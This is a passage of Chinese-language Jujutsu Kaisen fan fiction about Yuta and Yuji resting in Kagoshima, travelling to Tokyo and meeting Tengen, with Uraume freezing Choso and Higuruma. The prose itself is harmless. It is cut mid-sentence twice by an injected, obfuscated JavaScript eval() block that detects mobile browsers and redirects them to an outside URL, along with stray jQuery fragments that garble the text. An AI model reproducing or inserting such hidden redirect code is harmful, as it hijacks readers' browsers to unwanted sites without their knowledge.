乙骨忧太没有正面回答这个问题,而是找到了让他发出如此疑问的真正缘由:“你觉得同化的演习和收集咒力的行为是同时进行的?”
“只是一个猜测,因为我没什么感觉所以一直以为它们一定有个先后顺序,但现在看来也有可能不是这样的。”
也许同化的演习早已随着死灭回游的开始而同步开启了,这些因为不明原因生病的人就是对同化产生了反应,相当于过敏一样。
这其实......是个好现象。
美味的炸猪扒拯救了虎杖悠仁空空如也的胃,如果未来有机会的话他还想尝尝鹿儿岛有名的黑猪涮涮锅和萨摩鸡刺身之类的美味。
不过其他客人们的桌上都摆了酒瓶,而他们只能喝可乐。
虎杖悠仁偷偷干过不少未成年不允许干的事,比如出入柏青哥游戏厅之类的,但酒的确是从未碰过的东西。他看着隔壁桌的客人喝得满脸通红,渐渐放开了嗓门、解开严丝合缝扣起来的西装,将屋内的热量推向了另一个高峰。
乙骨忧太敲了敲桌子唤回他的注意力,将可乐杯子推到了他的手边,笑眯眯地说:“那个,想都别想哦,悠仁。”
“我没有。”他睁眼说瞎话。
从料理店出来的瞬间,寒意袭击了虎杖悠仁的脖子。好在身体里还有进食带来的热量,倒也不觉得很冷。
“今年会提早下雪吗?”
他皱了皱鼻子,企图从周围闻到一些新雪的味道。下雪后总有一股好闻的气味,像是空气中所有的杂质都被纯白覆盖住了似的,剩下的只有最干净的味道。
他嗅到了熟悉的气息。不是特别鲜明,因为日夜接触所以熟悉到无法轻易辨别出来,只在偶尔的偶尔,他才会像现在这样如此明显地嗅到它们。
围巾的一角轻轻搭在了肩膀上,虎杖悠仁将鼻尖和下半张脸都埋了进去。他喜欢帽衫,秋冬也一定会在里面套上一件。乙骨忧太总会提醒他戴上围巾,不然的话脖子露出来让人看着就觉得冷。后来他大概是被喜欢立起领子的乙骨忧太影响了,挑选帽衫的眼光变得挑剔了一些,秋冬的时候爱选同样带着领子的款式。
他低着头走了两步,然后只抬起眼睛去看身旁的人。
“......会冷的,”乙骨忧太说道,“现在下雪的话有点太早了。”
他顺手拿了一条围巾,没想到抽到了自己的那一条......不过也挺好的。
“那你自己也围上啊。”虎杖悠仁盯着他。
乙骨忧太依言取出了剩下的那条,熟练地叠了一下围在了脖子上。属于粉发少年的那一条同样带着主人的气息,因为长度稍短所以围在脖子上后两侧空余的长度有点捉襟见肘。
虎杖悠仁看上去终于满意了。
味道......乙骨忧太悄悄眯起眼睛。
他们迎着晚风在街头游荡了很久,算是漫无目的地随意闲逛。自从这一切发生后,他们很少有这样悠闲的时间可以什么都不用想,什么都不用做,只是紧挨着对方并肩走在车来人往的大街上,看着商店橱窗里打扮精致的礼物和人偶模特,或者被书店最新发售的漫画杂志吸住目光。
“那个漫画你还有在看吗?”虎杖悠仁指了指杂志封面上的动漫人物。
“我每一期都买了,”乙骨忧太屈起手指蹭了蹭脸颊,“但是放在了高专的宿舍,你想看的话我可以找机会带给你。”
这几乎是一种习惯,在每期新的漫画杂志发售时去书店买走老板特意留给他的那一份,直到最近才被打破。
虎杖悠仁趴在橱窗上又看了一会儿,但乙骨忧太觉得他并非真的在看漫画杂志的封面,而是在想什么事情。
“有机会的话,”粉发少年抬起头,露出牙齿笑着说道,琥珀色的眼睛在玻璃橱窗里的灯光照映下闪闪发光,“带我参观一下高专吧。”
像是蜜糖一样。
“好啊。”乙骨忧太答应了下来。
他们在旅馆楼下的便利店里买好了早餐,乙骨忧太又购入了大量的罐头和各种口味的泡面存了起来。
“没关系的,不用担心,”他顶着虎杖悠仁担忧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378251|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的目光解释道,“那个空间的重量不需要里香来承受。”
“真是意外的方便啊。”粉发少年感叹。
乙骨忧太失笑:“你现在才意识到吗,悠仁?这孩子很厉害的。”
白色的式神缓缓从影子里冒出来,喉咙响着愉悦的咕哝围在虎杖悠仁身边转来转去。
“不是啦,我一直都知道里香超级厉害的!”他拍了拍里香坚硬的外表,使劲地夸奖着它。
“哈哈!里香、超级厉害的哦!!”它像是个小孩子一样快乐地喊着。
乙骨忧太坐在房间里的另一张床上清理着咒具,它们虽然附着着诅咒,但也需要定期保养。他手上擦着刀,面带笑意看着虎杖悠仁陪里香玩石头剪刀布的游戏,一人一式神看上去还想玩点儿别的。
“不可以玩枕头大战哦,”他制止了他们幼稚的行为,“不然的话打扫起来会很麻烦。”
“诶——那我们看会儿电影吧!”虎杖悠仁抱着枕头坐了回去。
乙骨忧太擦拭的动作慢了下来,他开始更频繁地将注意力放到看似精力十足的虎杖悠仁身上,看着他研究旅店的电视要怎么打开,调试设置和频道,鼓捣了半天才选中一部电影放映了起来。
窗外的月亮独自在广袤的天空中缓缓踱步,留下的月影融入了灯光里,对它来说房间内散出的暖黄光亮也只是大地上万千灯火中同样渺小的一缕,轻轻瞥过,不留半点痕迹。
乙骨忧太收起了那些咒具,里香也已回到了影子里。他带着自己的枕头跑到了虎杖悠仁身旁,与他并排靠坐在床头。
他早就发现了粉发少年的心不在焉,但仍旧沉默地陪着他看完了整场电影,直到片尾曲响起时他才开口打破了这份寂静。
“很紧张?”
虎杖悠仁抬抬眼皮,没有肯定也没有否认他的说法。
与其说是紧张,倒不如是旧地重游前的忐忑。
“那里是一切扭曲的开始,”虎杖悠仁双掌向上,将它们摊开放在自己的腿上,垂眸说道,“也是我、是我......”
也许是畏惧可以预见的噩梦,但更可怕的是什么都见不到。
乙骨忧太下床关了电视和灯,最后的光亮消失,他们终于望见了月光的影子。
虎杖悠仁还没适应突如其来的黑暗,就感觉到自己被人蒙头裹进了被子里,放倒在了床上。乙骨忧太贴心地为他调整了枕头的位置,扒开多余的被子露出口鼻。
身后有人紧挨着他躺了下来,重量带来的凹陷让他们贴得更近。
这姿势让他想起小时候和乙骨忧太吵架,他也是这样将自己裹在被子里不肯出去,乙骨忧太就隔着棉被轻轻拍打后背安抚他的情绪。
“睡吧,”声音如有实质,顺着虎杖悠仁的后颈攀到了耳旁,留下湿热的痒意,“如果是噩梦,那就醒过来。我就在这里。”
虎杖悠仁没有应声,只是闭上了眼睛。酸涩的感觉瞬间填满了疲惫的眼眶,他几乎在放松的刹那立刻坠入梦境,尽管仍带着不安与忐忑,却不再恐惧。
乙骨忧太听着身前人的呼吸声变得平缓,于是保持着这样的姿势试图进入浅眠。
他们今天都太累了,但他知道从噩梦中惊醒的心悸感。至少在那个时候......至少得有人为战胜噩梦的人送上足够安全的怀抱。
在那熟悉又有点陌生的天台,眼前的场景因为记忆随着时间褪色而失去了某些细节,边缘变得模糊不清。
“虎杖悠仁,”殉道之人发出质问,“你现在还在追求‘正确的事’吗?”
他的答案和当年一模一样。
“我不知道。”
已死之人无法进入生者的梦境,虎杖悠仁也清楚地明白眼前身披袈裟、神色倦怠却眸光闪亮的青年不会是那个人的灵魂——至少他不该是在虎杖悠仁记忆里最后的这副模样。
或许,他的答案也应当稍微有点变化。
“我现在也有了理想——也许可以称之为理想吧,”虎杖悠仁看着夏油杰,皱眉笑道,“我到现在才真正明白爷爷说的话究竟代表了什么。”
要是以前再多了解大家一点就好了,因为人与人之间的缘分短得可怕,也太浅了。
而理想这种东西......又太炙热,接近就代表着注定会只身闯入烈火之中,能够踏出去的人终究要变得面目全非。但比起倒在火中化身薪柴、亦或只是站在半步之遥凝望飞灰与火星,面目全非又何尝不是一种新生?
虎杖悠仁以为自己会被后悔和痛苦吞没,可哪怕只是记忆里的一段虚影,夏油杰依旧原谅了他。那声叹息终是传入了他的心里,让虎杖悠仁为他未曾真正敞开心扉、相互理解的日子画上了休止符。
梦境中的时间混乱无序,当虎杖悠仁意识到这次对话即将结束的时候,他做好了醒过来的准备。
“这样就好。”
“没有必要替别人背负什么东西,你最需要背起的只有你自己的人生罢了。”
虎杖悠仁瞪大了眼睛。
“决定了人生的方向,接下来要做的就是全力以赴,”身后的人说道,“我的朋友早就明白了这一点,至于你......也不算晚啊。”
113. 第 113 章
乙骨忧太睁开眼睛的时候,天光早已透过窗帘照亮了房间,只是仍带着蒙蒙的灰色。他有点不太清醒地启动着大脑,对上了虎杖悠仁的眼睛。粉发少年与他对视,神采奕奕。
“......诶?”
“嗯?”
“啊!”
“所以说怎么啦?”
乙骨忧太将脸埋进了虎杖悠仁的颈窝里,有点羞愧地说:“......结果是悠仁先醒过来了。”
亏他昨天晚上还说大话!果然是因为待在悠仁身边所以睡得太熟了的缘故吗?
虎杖悠仁昂起下巴,锁骨和脖颈附近被杂乱的发丝蹭得有点痒,他带着点笑意拍了拍身边的人:“什么啊,就因为这个?”
“昨晚做噩梦了吗?”乙骨忧太的声音闷闷的。
虎杖悠仁想了想,黑发少年将头抬了起来,寻求眼神对视。
“没有哦,”他说,“因为大家都太温柔了。”
接着他仿佛心领神会般凑到了乙骨忧太的耳边,悄咪咪地宣告:“当然啦,因为忧太就在身边所以不会做噩梦的啦!”
“就算你这么安慰我......”
虎杖悠仁准备起身,乙骨忧太拉住了他的手臂,力道不轻不重,却也没办法轻易挣脱。
“......”
虎杖悠仁只是挣扎着矜持了一秒就彻底败下阵来。他根本没办法拒绝乙骨忧太用那双圆润的眼睛这样看着他,任何反抗在藏着喜欢与爱的眼神面前都是徒劳。
“拥抱。”他提出了最后的要求。
于是便以肌肤相贴的亲密拥抱开启了今天。
他们迅速收拾妥当,准备赶去鹿儿岛中央站乘坐新干线前往东京。乘飞机是更便捷效率的方式,但东京的机场都被结界笼罩,现在已经没有航班能够直达那片魔境。
虎杖悠仁靠在玻璃旁,看着城镇逐渐远去,取而代之的是九州连绵不断的群山和大片大片的绿地。一路向北,连时间都变得寂静起来。
“悠仁,”乙骨忧太往他身边靠了一点,似乎接下来的话题让他觉得稍微有些羞耻,但又实在很想搞明白,“你不喜欢亲吻吗?”
虎杖悠仁猛地扭头,瞪大眼睛看向大胆发言的乙骨忧太:“诶、诶?!不,没有啊?不不,为什么你会这么问?”
他左看右看,眼见着乙骨忧太眼角下的红色变得愈发显眼,这让他忽然生出了一点愧疚,仿佛自己逼着什么老实人豁出去了似的,浑身别扭。
乙骨忧太几度微微张嘴,但是安静的公共场合让他越发难以畅所欲言,其实问出那个问题之后他就开始后悔了。纠结挣扎了半晌,脑袋里各种想法早已打完了好几次群架,最终还是在狂乱的心跳声中低下了头。
“......因为早上只是拥抱?”虎杖悠仁探头探脑地弯下腰去看他的眼睛。
粉发少年实在敏锐得可怕。
乙骨忧太抿着嘴点了点头。
“因为,”他用轻之又轻、只有他们两个人才能听到的声音抱怨着,“早上起来......”
不应该是早安吻吗?
虎杖悠仁捏着下巴思考着。
“因为电影和杂志里都是这样的?”他看起来有点苦恼,若论事实也确实如此,被拍摄或者被写出来的爱侣们总喜欢以亲吻相互传达爱意,虎杖悠仁并非不知道这个“定论”,但只是比起亲吻,他更喜欢拥抱啦。
如果只是为了和相爱的人更亲密地接触,拥抱时共享的空间才更大不是吗?而且,拥抱很温暖啊。
“没想到忧太你居然是会在意这些事情的类型诶。”虎杖悠仁颇有点诧异地说,并为发现的这个小惊喜而暗自欣喜。
乙骨忧太摇了摇头,成功让虎杖悠仁变得疑惑了起来。
不是吗?
“我想,”黑发少年说道,“我大概是有点太在意这些事了。”
“啊!这种感觉!”虎杖悠仁一手握拳,敲到了另一只手掌上,恍然大悟。
这种患得患失最后让人失去平时从容的感觉虎杖悠仁再熟悉不过了。当这份酝酿多年的感情终于生根发芽、在幼苗准备顶破土面时,他早已体会过。
那段时间他被自己纷乱的感情打得措手不及,挣扎着想要搞明白,却因为过度在意而闹出了不小的误会。人一旦太过在意某些事,行动就会变得束手束脚,连思维也会被锁住,难以自救。
“我觉得都好啦,”虎杖悠仁认真地回答了乙骨忧太最开始的问题,“想要拥抱的时候就拥抱,想要亲吻的时候就亲吻,下次忧太你直接说出来嘛。”
这种时候只需要给出确切的答复就好,他们只是缺少了一份肯定来让自己穿越海上的暴风雨,想要有一双手替自己拨开遮住前路的乌云......再加上强壮的船只与帆桨,最终冲破雨雾,主动找到灯塔上的光。
“就从感受来说,我都超喜欢的!”虎杖悠仁双手抱臂,一本正经地点着头。
“是这样的吗?”
“就是这样的哦!”
因为这份爱意来之不易,所以他们都在想方设法让它变得更柔软、再温暖一些。
两个人的手不知何时已经悄悄握紧。
坐了四个小时的九州新干线到大阪后,他们购置了车站便当决定节省时间尽快继续出发。好消息是高专所在的筵山山麓不在结界内,但他们需要自己想方设法去到那片远离城镇的地方。
“要不还是找时间去学个驾照吧。”虎杖悠仁看着漫长的山道感叹。
不过已经走到这里了就没必要继续收敛,薨星宫里的人一定已经发现他们了。
“......他们来了。”天元说道。
九十九由基抬眸:“乙骨和虎杖?我到现在都不知道他们俩究竟想干什么。”
由空性结界幻化而成的和室骤然一变,桌上摆放的清茶热气未退,黄发的特级咒术师站起来舒展身体,象征性地指了指结界之外:“羂索没来吧?”
天元给出了肯定的答复。
“那就,去看看到底怎么说吧。”
咒术师们面见天元、知晓了羂索的部分目的并拿走了狱门疆·里,而作为交换,身为特级咒术师的九十九由基留在了薨星宫作为天元的护卫警惕随时可能找上门来的羂索。
对她来说这也是难得能和天元“心平气和”地谈一谈的好机会,毕竟她们之前的对话总是不欢而散......作为前星浆体和依靠同化达成不死的全知术师,不管是立场还是思想都充满了分歧。
参道上,九十九由基正面碰上了神情严肃的两个少年。
“其实我还有挺多事想和你们谈谈的,”式神凰轮·迦楼罗在她身边游动着,“比如夏油的死因。”
在虎杖悠仁开口前,乙骨忧太说道:“那件事,你应该直接去问天元大人,九十九小姐。”
阴影在他耳旁展开,落下的刀被稳稳握住。
“嗯哼,真的不打算再说点什么了吗?虽然我很欣赏实干拼搏的类型,但人终究还是要通过交流来相互理解的啊。”
虎杖悠仁站在乙骨忧太身后,眸光复杂。
黑发少年提刀摆好了架势:“去吧,悠仁。”
九十九由基哼出了一口气。天元也好,眼前的乙骨忧太与虎杖悠仁也罢。自诩全知的术师却坦言它自己也没办法看透人心,花了千年的时间才像接受四季轮回一样接受了自己的进化。
她的目光落在了少年们身上。
年轻气盛,带着未退的稚气与执着。
“谁知道呢,”乙骨忧太回答了她的问题,“但能够仅凭语言就解决的矛盾,太少了啊。”
——
伏黑甚尔扔开了已经面目全非的术师,颇觉无聊地继续前进着。
“什么人都能自称咒术师了啊,”他嗤笑了一声,“真是的,一群没救了的家伙们。”
只是看伏黑甚尔落单就将目标定在了他的身上,羽场和羽生夫妇为此付出了惨痛的代价。他们在死灭回游开启后获得了术式,能将头发化作机翼在空中发起奇袭,可是却在追杀一个黑头发的少年时遇到了惨败。虽然侥幸捡回了一条命,但又在那之后撞上了伏黑甚尔。
甘井凛躲在旁边的楼顶,瑟缩地望着地面上生死不明的羽场和羽生,以及那个仅仅用了两拳就终结了他们的大块头。
“得了恩惠就忘记自己原本也不过是个普通人,多少要有点自知之明才行啊。”伏黑甚尔翘起嘴角,让他看上去面相更加凶恶了起来。
甘井凛捂着自己的嘴巴靠着阳台的墙坐了下来,缩成了一团。
伏黑甚尔说得没错。大多数像甘井凛这样因为死灭回游而得到了术式的人,第一反应大概都是庆幸与狂喜吧?拥有了力量代表着自己变得与众不同,好像能够用这样的力量改变现状、达成所愿。
原本的他因为没有反抗的力量所以只能在更强大的人身前点头哈腰,只要装傻再“嘿嘿嘿”地赔笑就能混入这个社会的狩猎者们当中去。死灭回游让他得到了力量,然后呢?
有能力比他更强大的羽生和羽场,然而他们现在被比他们更强的人击败了。
“啊,有了有了。”甘井凛一惊,猛地抬头发现刚才还站在楼下的伏黑甚尔不知何时已经来到了顶层,吓得他打了一个哆嗦。
“你这家伙也勉强有点咒力,”天与暴君指了指自己的脑袋,“帮我找个人吧。”
甘井凛在对强大力量的恐惧中颤颤巍巍地说:“啊?但是我根本做不到啊?说到底咒力这东西到底怎么用我还搞不明白呢?!”
只是伏黑甚尔看起来根本不想听他的解释,不容拒绝地要求道:“就找咒力最集中的方向。大概是集中注意力就能感觉到的吧,就跟本能一样。”
甘井凛试着做了。
一根红线射穿了天际。
它远远看上去就像是风筝线一样,只不过连接着它的风筝飞得太高。伏黑甚尔直起身看向了那个方向。
甘井凛的手刚抬起来,方才还站在他身边的人已经消失不见了,只剩下他自己呆愣地看着红线出现又消失的方向,搞不明白究竟发生了什么。
“百敛·穿血。【赤血操术】这种术式本身是对被咒力强化过的血液加以操纵,包括体温、脉搏,红细胞的数量等血液中的成分也能自由地操纵。人体内的血液总量有限,虽说有让体外受操纵的血液重新参与到体内血液循环中来的技法,让术师能够铤而走险使更多的血液流出身体,但是对于受肉的九相图来说,这一点就简单太多了。”
羂索对着身旁的小金虫说道。
“是这样啊!”它人性化地回答。
“它们能将咒力化作血液,所以在咒力枯竭之前都不会轻易陷入失血或缺血的状态,”他还穿着涩谷那天的那套僧衣,也许是见到了很多‘老朋友’,难免让他回忆起过去的日子,这身衣服多少应了他的心思,所以多穿一段日子也没差,“孔时雨下手太早了,禅院直哉在结界里的话更合我意。”
他抱臂,单手撑着下巴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378252|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,状似难办地说:“仙台那边也停住了啊......但应该不用太过担心。剩下的地方就要再等等了。”
悠仁。你对天元抱有太大不切实际的期望了啊。
风搅动着衣袍,羂索在身边小金虫“原来如此!”的应答声中笑着离开了天台。
日车宽见的肩膀以下完全失去了知觉,冰霜蔓延到了他的脸上,很快连喉咙也要完全发不出声音了。还能转动的眼球向一侧奋力瞥去,看见了唯一还在抵抗的人。
胀相让血液的温度升高来抵抗里梅极寒的咒力,但眼下还能行动的就只有他一个人。
“嘁!”
“别来妨碍我,”里梅抬手,整片区域眨眼间便完全被白色的冰晶覆盖,胀相的双脚也在刹那冻住,仅仅不足一秒的失误就错失了逃脱的机会,“我已经等得够久了!”
胀相将血液附着在尚且还能行动的手掌上,让高温融化那些不断攀上来的寒冰。
日车宽见闭上了眼睛。他的口鼻已经被冻住,坚冰彻底隔绝了空气,渐渐涌上来的窒息感让他想要挣扎却被困在冰中动弹不得。他忽然想起了会见室里隔断了他和委托人的那张玻璃。
伏黑惠双手握拳,他已经摆出了手势,却什么都做不了。他看着日车宽见和胀相也被封入坚冰,正如同他自己一样。
这下、彻底——
——
“......”
虎杖悠仁看着眼前的天元,它的模样和乙骨忧太给他形容的大差不差,果然像是一个长了眼睛的大拇指。他的目光毫不避讳地望向了全知的术师,并很快发现了乙骨忧太没能注意到的细节。天元的眼睛里并非只有眼白,只是它的虹膜颜色太浅太浅了,和不存在没有什么区别。
“我们还是第一次这样面对面,承载宿傩力量之人。”天元主动开口。
它将粉发少年拉入了同样的空性结界,并以虚像的形态出现在了他的面前。虎杖悠仁打量着这个上下都通往无限远处的纯白空间,礼貌地回答:“我倒是希望这并非第一次,天元......大人。”
他侧目,看着天元脸上露出了明显可以被称之为释然的笑容。
虎杖悠仁没有因此发问。
“或许我早该意识到了。”
虎杖悠仁抬起头:“现在也不晚。”
天元或许是在直视他的双眼:“我无法决定同化的结束。你可以将其视作同时承载希望与绝望的魔盒,这一点我也曾与咒灵操使探讨过,只是我们之间对‘人类’的界定不同,他能够接受任何结果,而我不能。”
“你呢?”
“你能接受哪种结局?”
天元的质问锥心刺骨,而与他辩论的少年并未因此产生任何动摇。他反问道:“自那之后,你有亲眼出去看看吗?既然已经变成了天与地,有真正感受过从中穿行的风吗?”
虎杖悠仁握拳,垂眸说着:“你应该知道真人。它说人心都是孤独的,我们的灵魂虽然看起来亲近,但永远不可能真正相互融合......哪怕将肉|体揉到一起也一样。这话放到任何地方都是合适的,咒术虽然特别,但也无法突破心的壁垒。”
“可事实就是,”天元说,“没人知道结局是什么。”
琥珀色的眼瞳望向古老的、异形的、固执的术师。
或许对它来说,相信咒术师们能够解决羂索、交出狱门疆的后门便已是交付了信任,但眼前的这个粉发少年想要的太多了。信任总是最吝啬的礼物。
“有机会的话,我也想多了解你一点,天元大人。”
虎杖悠仁挪开了眼睛。他的视线似乎落在了天元的身上,又仿佛越过了它的虚像看见了别的什么,最终化作了嘴边的最后一句话:“是啊。谁也不会知道结局。”
“因为它还没有发生不是吗?”
“......”
“......结果他们过来一趟就为了跟你聊天?”九十九由基甩了甩手臂,被里香击中的地方隐隐泛着痛,那个式神的力量和被【星之怒】附加了假想质量的凰轮·迦楼罗的攻击力差不多了,而乙骨忧太本身的实力也不容小觑。哪怕本人算是四肢无力的类型,九十九由基也没有在这场特级咒术师的战斗中占到任何便宜。
天元带着她重新回到了那间和室,只是桌上没了清茶。
“我认为他应该大声质问我的不作为,或者至少会看起来更愤慨一些。”
九十九由基耸肩,有些嫌弃地大声啧舌。
天元没有介意她的不敬。如果他们以愤怒来寻找答案,天元大概不会如此在意他们。这并非它以高高在上的身位无视了他们内心的想法,而是过去所有不请自来的客人都像他们一样和天元说过同样的话。
而当愤慨消失......代表着他们已经飞身扑向了燃烧的火焰,支撑着他们前进的不再是或单纯、或复杂的种种情感,而是理想。
“......你听得到吧,九十九?那些孩子们在说些什么呢?”天元问道。
九十九由基皱眉:“你现在才开始在乎这些?”
她也是星浆体,在这个空间里能够听到与天元同化的其他孩子们的声音。
不死术师脸上的两双眼睛同时闭上了。它自己什么都听不到,如今问起一直被它回避的问题,受到的苛责和质疑它也全盘接受。
“我想知道他们是否真正与‘天元’融为了一体。”
灵魂是否真的——
九十九由基闻言微微坐直了身体。
114. 第 114 章
“喔!比我想象中的要大一点嘛!”虎杖悠仁跟在乙骨忧太身后走进了房间。
高专宿舍是独立卫浴,标配的一张单人床摆放在了房间一角,另有一套看上去没怎么被人使用过的桌椅和立式衣柜。
粉发少年觉得这屋子里有点冷冷清清,缺少了人气。
“因为我不太常住,”乙骨忧太拉开被他用于储物的衣柜,里面挂了几套其他款式的外套、衬衣和裤子,下面堆放着的就是他每次上新必买的漫画杂志,“这里也没放太多东西,几乎回来的第一件事就是打扫卫生。”
已经快要养成习惯了。
“太辛苦了吧?!高专任务很忙吗?”
乙骨忧太为高专正名:“其实也没有......只是我自己有点闲不下来,还有很多佣金就是啦。接下来你准备怎么办?”
虎杖悠仁双手枕在脑后,倒在了床上。
“嗯——被拒绝的话那就没办法了。”高专的建筑看起来有些年头,校舍甚至有点上个世纪的装修风格。虎杖悠仁盯着生出了一点点霉斑的天花板,脑袋飞快地转着。
这一次天元的态度说明了很多问题......除去它自身依旧含糊不清的行事作风,虎杖悠仁至少终于搞懂了为什么它会告诉咒术师们“哪怕杀死羂索也不会结束死灭回游”。
“你的意思是,那些结界其实建立在天元设立的诸多净界之上?对啊,如果是这样的话,设立结界的困难和需要付出的代价就会小很多,所以死灭回游的管理者也不是羂索,而是天元?”
乙骨忧太很快明白了过来,在虎杖悠仁点头的动作中继续分析道:“但它估计也只是掌握了‘解除游戏结界’的权限,并非真正的管理者,不然的话它没理由不终结这场游戏才对。”
天元早已成为了咒术界的基石,覆盖在这个国家上的诸多结界如果被解除,谁也不知道会发生什么事。境内的结界术会倒退千年,也许诅咒与咒灵的数量会呈井喷式爆发,轻而易举地将这个国家毁于一旦。
所以羂索恰到好处地利用了天元无论如何都不会主动解除净界这一点,辅助他准备好了这些惊世骇俗的游戏场。
“这么说的话,”乙骨忧太念头通达,想到了另一个关键的问题,“相当于羂索只要得到了天元就能够结束死灭回游。”
也许不是直接解除结界,而是增加可以让死灭回游结束的条件,毕竟他还需要那些净界来开启同化。
“......那个小东西不是说规则不能违背永续性的吗?”虎杖悠仁说。
“但是来栖能和它‘沟通’,”乙骨忧太摇头,“它也许比我们想象得更智能。”
“也许吧。”
如果他们能够说服天元,那就不必等待羂索开启同化,现在他们就应该在准备杀死他的路上了。
“结果还是要继续等下去......时间拖得越久,我心里越觉得不安,”虎杖悠仁挺身坐了起来,“刚才那位九十九小姐也是特级咒术师吧?”
乙骨忧太坐到了他旁边,点点头:“九十九小姐的术式很少见呢。”
粉发少年惊讶地看着他:“这么快?”
乙骨忧太摸了摸鼻子:“她似乎不清楚我的术式。【星之怒】能够赋予术师假想的质量,这和悠仁你的术式感觉差不多。”
“这差太多了好不好!”
粉发少年反驳他,随后两人不约而同地沉默了片刻,让房间重新回到无人时的寂静。在冷意攀附上皮肤之前,虎杖悠仁简短而有力地说:“我们去找里梅。我要把最后的几根手指也拿到手。”
“她......”
乙骨忧太话音未落,被一阵陌生的铃声打断了。虎杖悠仁也愣了一下才反应过来这是他的手机铃声,连忙拿出安静了太久的手机一看:“是胀相。”
然而他将电话贴到耳边听了两句之后,面色变得凝重起来。
乙骨忧太担忧地看着他。
虎杖悠仁起身,言简意赅地说明了胀相告诉他的坏消息:“真是说什么来什么......里梅找上了伏黑。”
胀相抖掉了衣袖上残留的冰晶,收起手机之后开始打量周围的街道,试图从商店或者路边的标志牌上找到他们现在到底在哪里。弟弟们没有和他一起过来,这倒是个明智的决定......他看了一圈,未果。
“这里已经是结界外了,电波讯号恢复,你可以直接看电子地图。”日车宽见提醒他。
胀相语气没什么起伏地说:“我还没学会怎么用。”
平时都是虎杖悠仁看地图,胀相只要跟着他走就可以。哪怕分开了一段距离,只要他还能通过【赤血操术】感受到虎杖悠仁,汇合也不是难事。
狼狈万分的精英律师:“......?”
“地图?你们刚才说了地图对吧?!我有一次从老家的奶奶手里拿到了一张藏宝图,可是到了标注出来的藏宝地点后却什么都挖不到,结果等我回家之后奶奶才说那是她用地图当餐垫时溅上去的菜汤!!”
胀相听到那个声音下意识地就想否认,但寡言的九相图兄长根本追不上那个人的语速:“没有......”
“嗯?没有?没有什么?如果是WIFI的话,我有一个压箱底的笑话——”
死里逃生的胀相和日车宽见一点也不想听这个鬓角像是大猩猩、穿着只有半侧超人连体服的古怪术师继续输出他那难以让人理解的搞笑欲。
但是,终究是这个裸着半侧身体的怪人改变了他们在冰封中窒息而死的悲惨结局。
品味也很怪,胀相心道,蓝色的紧身衣只剩下了左半身,他的右半边身体难道不觉得冷吗?而且仅凭一条带着笑脸的腰带来固定真的不怕走光吗?虽然现在也和裸奔没什么差别就是了......红色手套倒是很经典。
日车宽见决定先将“救命恩人”放到一边,询问胀相:“你刚才联系的是伏黑的同伴?”
“是我弟弟。同伴......算是朋友吧。”
真是头疼。
日车宽见和伏黑惠的战斗最终的落点在于术师对自身术式的开发。“诛伏赐死”完成了“没收”,却没能封印【十种影法术】。审判者没有给出死刑判决,拿不到处刑人之剑的日车宽见发现了自己的术式存在着一些“异常情况”。
“诛伏赐死”没收的对象是伏黑惠手中持有的咒具。
他以前从没、或者说还没来得及这样细致地开发自己的术式。
咒术也和法律条文一样,看上去如铁则般冰冷无情,但在和它们过于亲近的人眼中,却存在着绝对的自由空间。
咒术也像法律条文一样……无法给予绝对的信任。
语言只能帮日车宽见浅薄地了解这个击败了他的少年和他口中的两个朋友与老师......只凭这些不能让精英律师放弃他对死灭回游规则的期待,但他也不再否认伏黑惠说他是在逃避的事实。
“等你亲自见到他们应该就能明白我的意思了,”伏黑惠摸着后颈,等胀相过来,“来帮我们吧,日车先生。就算你没有放弃自己的想法也没关系......大家都有自己要坚持的事。”
精英律师就这样为自己选择了另外一条路。
遭到袭击、濒临窒息的时候,他们遇到了高羽史彦。里梅曾和这个怪人过了两招,在意识到高羽史彦的“异常”之后,她选择不继续浪费时间,直接带走了伏黑惠。喜剧超人让困住胀相和日车宽见的坚冰变得一触即碎,并且不知道用什么方法将他们直接带出了结界。
“接下来怎么办?”日车宽见任劳任怨地点开地图查看他们当前的所在位置。应该是要去救伏黑惠的吧?
胀相几乎没有犹豫:“我要把地址发给悠仁,等他过来汇合再说。”
日车宽见抬抬眼皮,又在手机上点了几下,将屏幕展示给胀相,看他在聊天框里手写输入了现在的地址:“你们咒术师真够奇怪的。”
胀相否认了他的说法,并试图让他理解什么是受肉|体。
“......”所以真正奇怪的是伏黑惠?听起来简直是“黑白通吃”啊——如果他对咒术师、诅咒师、咒灵、受肉|体等等概念的理解没有出错的话。
幸运的是高羽史彦没有带他们走得太远,这里仍在东京境内,甚至离筵山极近。
“胀相!”粉发少年从天而降,日车宽见看着半空中白色的庞然大物默默惊叹着。他其实对自己的“天才”之处认知很清晰,只是本人不会因此产生什么自傲或者自负的想法,只将其当成一种对某些技巧熟练掌握的象征。
但是咒术和法学还是有不同之处的。在见到乙骨忧太的瞬间,他明白了咒术天才的意义。
“什么啊这个打扮?超人?!太不雅观了吧!!”虎杖悠仁在高羽史彦因为没人搭理他并不好笑的笑话而怒斥“你们这群垃圾观众”的时候惊呼着吐槽他奇怪的打扮,但其实高羽史彦的战衣看上去很像是某个喜剧演员的经典扮相。
在盯着这边......乙骨忧太立刻发现了日车宽见的视线,对这个陌生的术师升起了一点警戒心,但因为胀相看起来并没有警惕他的意思,所以只是稍微留意了片刻就移走了注意力。
